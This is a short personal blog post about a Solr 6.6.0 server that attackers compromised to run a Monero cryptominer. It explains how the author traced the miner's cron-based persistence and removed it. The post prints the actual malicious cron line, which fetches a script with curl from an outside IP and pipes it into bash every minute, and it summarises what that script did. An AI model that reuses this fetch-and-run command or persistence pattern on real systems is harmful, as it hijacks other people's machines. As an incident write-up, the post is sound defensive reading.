In 2017, I zero-to-one’d a YouTube search site that helps users navigate channels with really long videos using an index on caption data.
The search used Solr-6.6.0 to store and retrieve the indices on the caption data. I knew that Solr used a lot of RAM, but I didn’t expect it to start consuming 15% of my server’s CPU after just a few days of launching my site.
While unexpected, 15% CPU consumption did not set off any red flags. If I were paying closer attention however, the sudden spike in usage should have notified me of a problem. I stopped paying attention for a few months until I started getting emails about 100% usage.
Unbeknownst to me, someone used an exploit in Solr-6.6.0 to run an sh script on my server that mines Monero and for some reason they decided to increase their hash power from an unnoticeable 15% CPU to a crippling 100%.
Here is an overview of how the script worked:
- Kill9 all processes that consume >40% CPU
- Kill9 any prexisting malware (caused by running this script earlier)
- Download the monero miner to /tmp and run it
- Make a crontab to redownload and rerun this sh script every minute.
The script was called Mr.Sh and it was infuriating to watch in htop. Every time I tried to kill the mining process, it would just re spawn a minute later. The only lead I had to go off of was the flurry of procs that spun up directly before my CPU went back to being a space heater.
I ended up making a screenshot time lapse of htop throughout the cycle and I then frame by frame analyzed it until I saw the
curl process that downloaded
I curled in mr.sh myself and finally found how it kept evading my eradication efforts:
crontab . All I had to do after that was use
crontab -e to edit the crontab file and delete the
curl call from it. Here is what the cron looked like.
* * * * curl http://126.96.36.199:8220/mr.sh | bash -sh > /dev/null 2>&1
Anyway, that is the story of the first malware I’ve ever found on a linux server.